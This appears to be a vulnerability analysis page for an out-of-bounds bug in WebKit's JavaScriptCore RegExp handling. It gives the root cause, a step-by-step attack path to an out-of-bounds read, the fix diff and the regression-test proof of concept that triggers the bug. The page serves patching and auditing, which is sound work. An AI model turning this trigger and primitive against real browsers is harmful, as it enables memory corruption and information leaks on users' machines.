Medium webkit OOB 🔧 Commit mapped

Overview

Medium
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactProcessing maliciously crafted web content may lead to an unexpected Safari crash
DescriptionThis issue was addressed through improved state management.
ComponentJSC
Bug ClassOOB
Tracker316723
Fix commitd74d692503fc (webkit) +74/-13
CISA KEVNot listed
CreditedOpenAI Codex Security - Amy Burnett
Disclosed2026-09-14

Background

`RegExp` (JSC runtime object)
wraps a compiled regular expression. It caches pattern metadata it reads from the Yarr parser: m_numSubpatterns (capture-group count), m_atom, m_specificPattern, and m_rareData (named-capture-group tables).
Lazy / multi-stage compilation
a RegExp can be parsed once (finishCreation) and later (re)compiled on demand: byteCodeCompileIfNecessary, compile, and compileMatchOnly each re-run the Yarr parser (YarrPattern) and must refresh the cached metadata.
Soft-invalid patterns / `isValid()`
some patterns fail to compile for recoverable reasons (e.g. excessive nesting causing a parser stack-overflow soft error). Such a RegExp is left in a ParseError/invalid state; isValid() reports this.
`DFGStrengthReductionPhase`
a DFG optimizer phase that can fold a new RegExp(...) into a constant NewRegExp node referencing a frozen RegExp* when it can prove the argument.
`RegExpCache::lookupOrCreate`
interns RegExp objects by (pattern, flags) key in a weak cache.
`subpatternResults` / matches array
match results are sized by m_numSubpatterns; a stale/oversized count causes out-of-bounds indexing when the result array is built.

Root Cause Analysis

The core invariant is that a RegExp’s cached capture metadata (m_numSubpatterns, m_rareData, m_atom, m_specificPattern) must stay consistent with the actual compiled bytecode and must never be trusted for an invalid pattern. Two defects broke this. First, RegExp’s recompilation paths (byteCodeCompileIfNecessary, compile, compileMatchOnly) each re-ran the parser and then reassigned m_atom/m_specificPattern while asserting m_numSubpatterns == pattern.m_numSubpatterns — but they did not refresh m_rareData, and worse, the original finishCreation path allocated a fresh m_rareData = makeUnique<RareData>() each time. The patch consolidates all of this into one RegExp::updateMetadataFromPattern(YarrPattern&) that updates m_atom, m_specificPattern, m_numSubpatterns, and populates m_rareData only if not already present (if (!m_rareData) m_rareData = makeUnique<RareData>()), removing the brittle ASSERTs and ensuring every (re)compile path refreshes the same fields coherently.

Second, and the security crux, invalid regexps were allowed to flow into fast paths. DFGStrengthReductionPhase folded a NewRegExp for a RegExp* without checking validity; the patch adds if (!regExp->isValid()) break; before convertToNewRegExp(...). And RegExpCache::lookupOrCreate interned every created RegExp into the weak cache; the patch adds if (!regExp->isValid()) return regExp; so an invalid/soft-error regexp is not cached and re-handed out. The combination means a soft-invalid RegExp (its m_numSubpatterns / capture metadata left in a stale or inconsistent state because compilation never completed consistently) could be frozen into optimized code and later executed, so match-result construction used a capture count that did not match the real bytecode — an out-of-bounds read/write over subpatternResults and the matches array. The committed new-regexp-untyped-soft-invalid-stale-captures.js deliberately builds a hugely nested pattern (34000-deep) that soft-fails, recurses to deep call depth, and repeatedly re-exposes it to read “stale captures,” matching this mechanism. The advisory says “crash,” but the diff shows a stale-capture-count memory-safety bug.

Key insight
A soft-invalid RegExp with stale capture metadata was allowed to be constant-folded by DFG strength reduction (and interned by the cache), so it was executed with a m_numSubpatterns that did not match its real compiled bytecode, driving out-of-bounds indexing of the match results.

Attack Path

  1. Build a soft-invalid pattern Attacker JS constructs a RegExp that fails to compile for a recoverable reason (deeply nested groups → parser soft error), leaving m_numSubpatterns/m_rareData in a stale state.
  2. Get it folded Reference the regexp from a hot function so DFG strength reduction folds it into a constant NewRegExp (unpatched: no isValid() gate), and/or let RegExpCache hand the same stale object back out.
  3. Execute a match Run exposed.test(subject) on the resurrected regexp so the matcher produces subpattern results sized by the real bytecode.
  4. Count mismatch The matches-array/subpatternResults construction uses the stale m_numSubpatterns (or dropped m_rareData named-group tables) that disagrees with the actual captures.
  5. Primitive Out-of-bounds read (and potential write) when building the result array / copying capture offsets (info leak, with corruption inferred).

Impact Assessment

Reachable from unprivileged renderer web content via ordinary JS RegExp construction and matching; JIT tier-up is the trigger for the strength-reduction prong. The diff substantiates a stale-capture-metadata inconsistency: an invalid RegExp with a mismatched m_numSubpatterns/m_rareData can be executed and its results materialized, producing out-of-bounds indexing of capture arrays — an OOB read primitive (heap info disclosure) with possible corruption. This exceeds the advisory’s “crash” characterization. Controlled write / full escalation is inferred, not proven by the diff; the committed test targets the crash/stale-read behavior.

Changed Functions

FunctionChangeNotes
if
Source/JavaScriptCore/runtime/RegExp.cpp
modified
VM
Source/JavaScriptCore/runtime/RegExp.h
modified
for
JSTests/stress/new-regexp-untyped-soft-invalid-stale-captures.js
modified
if
JSTests/stress/new-regexp-untyped-soft-invalid-stale-captures.js
modified

Files Changed

  • JSTests/stress/new-regexp-untyped-soft-invalid-stale-captures.js
  • Source/JavaScriptCore/dfg/DFGStrengthReductionPhase.cpp
  • Source/JavaScriptCore/runtime/RegExp.cpp
  • Source/JavaScriptCore/runtime/RegExp.h
  • Source/JavaScriptCore/runtime/RegExpCache.cpp

Audit Directions

  • `isValid()` gating on fast paths
    Audit every consumer that treats a RegExp* as ready-to-execute (DFG/FTL regexp nodes, RegExpObject, String.prototype regex methods) to ensure invalid regexps are rejected before their metadata is trusted.
  • Capture-count/metadata coherence across recompiles
    Review all paths that mutate m_numSubpatterns/m_rareData/m_atom to ensure they go through updateMetadataFromPattern and cannot leave the object with a count that disagrees with its bytecode.
  • Soft-error vs. hard-error handling
    Look for other objects (not just RegExp) that persist partially-initialized metadata after a recoverable parser/compile soft error and may be re-handed out via caches.
diff --git a/Source/JavaScriptCore/dfg/DFGStrengthReductionPhase.cpp b/Source/JavaScriptCore/dfg/DFGStrengthReductionPhase.cpp
index 78ca126c6509..42131b5c5028 100644
--- a/Source/JavaScriptCore/dfg/DFGStrengthReductionPhase.cpp
+++ b/Source/JavaScriptCore/dfg/DFGStrengthReductionPhase.cpp
@@ -716,6 +716,9 @@ private:
             if (!regExp)
                 break;
 
+            if (!regExp->isValid())
+                break;
+
             m_node->convertToNewRegExp(m_graph.freezeStrong(regExp), m_insertionSet.insertConstantForUse(m_nodeIndex, m_node->origin, jsNumber(0), UntypedUse));
             m_changed = true;
             break;
diff --git a/Source/JavaScriptCore/runtime/RegExp.cpp b/Source/JavaScriptCore/runtime/RegExp.cpp
index 2c636589f41e..5b2553b6d5fd 100644
--- a/Source/JavaScriptCore/runtime/RegExp.cpp
+++ b/Source/JavaScriptCore/runtime/RegExp.cpp
@@ -164,12 +164,18 @@ void RegExp::finishCreation(VM& vm)
         return;
     }
 
+    updateMetadataFromPattern(pattern);
+}
+
+void RegExp::updateMetadataFromPattern(Yarr::YarrPattern& pattern)
+{
     m_atom = WTF::move(pattern.m_atom);
     m_specificPattern = pattern.m_specificPattern;
 
     m_numSubpatterns = pattern.m_numSubpatterns;
     if (!pattern.m_captureGroupNames.isEmpty() || !pattern.m_namedGroupToParenIndices.isEmpty()) {
-        m_rareData = makeUnique<RareData>();
+        if (!m_rareData)
+            m_rareData = makeUnique<RareData>();
         m_rareData->m_numDuplicateNamedCaptureGroups = pattern.m_numDuplicateNamedCaptureGroups;
         m_rareData->m_captureGroupNames.swap(pattern.m_captureGroupNames);
         m_rareData->m_namedGroupToParenIndices.swap(pattern.m_namedGroupToParenIndices);
@@ -226,10 +232,7 @@ void RegExp::byteCodeCompileIfNecessary(VM* vm)
         m_state = ParseError;
         return;
     }
-    ASSERT(m_numSubpatterns == pattern.m_numSubpatterns);
-
-    m_atom = WTF::move(pattern.m_atom);
-    m_specificPattern = pattern.m_specificPattern;
+    updateMetadataFromPattern(pattern);
 
     m_regExpBytecode = byteCodeCompilePattern(vm, pattern, m_constructionErrorCode);
     if (!m_regExpBytecode) {
@@ -247,10 +250,7 @@ void RegExp::compile(VM* vm, Yarr::CharSize charSize, std::optional<StringView>
         m_state = ParseError;
         return;
     }
-    ASSERT(m_numSubpatterns == pattern.m_numSubpatterns);
-
-    m_atom = WTF::move(pattern.m_atom);
-    m_specificPattern = pattern.m_specificPattern;
+    updateMetadataFromPattern(pattern);
 
     if (!hasCode()) {
         ASSERT(m_state == NotCompiled);
@@ -315,10 +315,7 @@ void RegExp::compileMatchOnly(VM* vm, Yarr::CharSize charSize, std::optional<Str
         m_state = ParseError;
         return;
     }
-    ASSERT(m_numSubpatterns == pattern.m_numSubpatterns);
-
-    m_atom = WTF::move(pattern.m_atom);
-    m_specificPattern = pattern.m_specificPattern;
+    updateMetadataFromPattern(pattern);
 
     if (!hasCode()) {
         ASSERT(m_state == NotCompiled);
diff --git a/Source/JavaScriptCore/runtime/RegExp.h b/Source/JavaScriptCore/runtime/RegExp.h
index 328e1290eb6f..ade76d562bc5 100644
--- a/Source/JavaScriptCore/runtime/RegExp.h
+++ b/Source/JavaScriptCore/runtime/RegExp.h
@@ -35,6 +35,10 @@
 
 namespace JSC {
 
+namespace Yarr {
+struct YarrPattern;
+}
+
 struct RegExpRepresentation;
 class VM;
 
@@ -176,6 +180,8 @@ private:
     RegExp(VM&, const String&, OptionSet<Yarr::Flags>);
     void finishCreation(VM&);
 
+    void updateMetadataFromPattern(Yarr::YarrPattern&);
+
     static RegExp* createWithoutCaching(VM&, const String&, OptionSet<Yarr::Flags>);
 
     enum RegExpState : uint8_t {
diff --git a/Source/JavaScriptCore/runtime/RegExpCache.cpp b/Source/JavaScriptCore/runtime/RegExpCache.cpp
index f7059ad07954..ac9e547c0e91 100644
--- a/Source/JavaScriptCore/runtime/RegExpCache.cpp
+++ b/Source/JavaScriptCore/runtime/RegExpCache.cpp
@@ -57,6 +57,9 @@ RegExp* RegExpCache::lookupOrCreate(VM& vm, const String& patternString, OptionS
     vm.addRegExpToTrace(regExp);
 #endif
 
+    if (!regExp->isValid())
+        return regExp;
+
     {
         Locker locker { m_lock };
         weakAdd(m_weakCache, key, Weak<RegExp>(regExp, this));
diff --git a/JSTests/stress/new-regexp-untyped-soft-invalid-stale-captures.js b/JSTests/stress/new-regexp-untyped-soft-invalid-stale-captures.js
new file mode 100644
index 000000000000..9d7fba576e76
--- /dev/null
+++ b/JSTests/stress/new-regexp-untyped-soft-invalid-stale-captures.js
@@ -0,0 +1,52 @@
+//@ runDefault("--jitPolicyScale=0")
+
+const nesting = 34000;
+const callDepth = 8000;
+const iterations = testLoopCount;
+const stride = 1024;
+const emptyCaptures = 22;
+
+function atDepth(depth, callback) {
+    const keep = depth;
+    if (!depth)
+        return callback() + keep;
+    return atDepth(depth - 1, callback) + Number(keep === -1);
+}
+
+let regexpPayload = "";
+for (let i = 0; i < emptyCaptures; ++i)
+    regexpPayload += "()";
+regexpPayload += "(?=b*(a*))";
+regexpPayload += "(?:stablefinalread)?";
+
+const pattern = "(?:".repeat(nesting) + regexpPayload + ")".repeat(nesting);
+
+const pieces = [];
+for (let offset = 0; offset < pattern.length; offset += 8000)
+    pieces.push(JSON.stringify(pattern.slice(offset, offset + 8000)));
+const make = eval(`(function (run) { if (!run) return 1; return new RegExp(${pieces.join(" + ")}, ""); })`);
+
+try { make(true); } catch (e) { }
+fullGC();
+
+let exposed = null;
+try {
+    atDepth(callDepth, () => {
+        try { new RegExp(pattern, ""); } catch (e) { }
+        for (let i = 0; i < iterations && !exposed; ++i) {
+            make(false);
+            if ((i % stride) === stride - 1)
+                try { exposed = make(true); } catch (e) { }
+        }
+        if (!exposed)
+            try { exposed = make(true); } catch (e) { }
+        return 0;
+    });
+} catch (e) { }
+
+if (exposed) {
+    const subject = "a".repeat(113);
+    for (let i = 0; i < 6; ++i) {
+        try { exposed.test(subject); } catch (e) { }
+    }
+}
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/JSTests/stress/new-regexp-untyped-soft-invalid-stale-captures.js b/JSTests/stress/new-regexp-untyped-soft-invalid-stale-captures.js
new file mode 100644
index 000000000000..9d7fba576e76
--- /dev/null
+++ b/JSTests/stress/new-regexp-untyped-soft-invalid-stale-captures.js
@@ -0,0 +1,52 @@
+//@ runDefault("--jitPolicyScale=0")
+
+const nesting = 34000;
+const callDepth = 8000;
+const iterations = testLoopCount;
+const stride = 1024;
+const emptyCaptures = 22;
+
+function atDepth(depth, callback) {
+    const keep = depth;
+    if (!depth)
+        return callback() + keep;
+    return atDepth(depth - 1, callback) + Number(keep === -1);
+}
+
+let regexpPayload = "";
+for (let i = 0; i < emptyCaptures; ++i)
+    regexpPayload += "()";
+regexpPayload += "(?=b*(a*))";
+regexpPayload += "(?:stablefinalread)?";
+
+const pattern = "(?:".repeat(nesting) + regexpPayload + ")".repeat(nesting);
+
+const pieces = [];
+for (let offset = 0; offset < pattern.length; offset += 8000)
+    pieces.push(JSON.stringify(pattern.slice(offset, offset + 8000)));
+const make = eval(`(function (run) { if (!run) return 1; return new RegExp(${pieces.join(" + ")}, ""); })`);
+
+try { make(true); } catch (e) { }
+fullGC();
+
+let exposed = null;
+try {
+    atDepth(callDepth, () => {
+        try { new RegExp(pattern, ""); } catch (e) { }
+        for (let i = 0; i < iterations && !exposed; ++i) {
+            make(false);
+            if ((i % stride) === stride - 1)
+                try { exposed = make(true); } catch (e) { }
+        }
+        if (!exposed)
+            try { exposed = make(true); } catch (e) { }
+        return 0;
+    });
+} catch (e) { }
+
+if (exposed) {
+    const subject = "a".repeat(113);
+    for (let i = 0; i < 6; ++i) {
+        try { exposed.test(subject); } catch (e) { }
+    }
+}
Loading diff…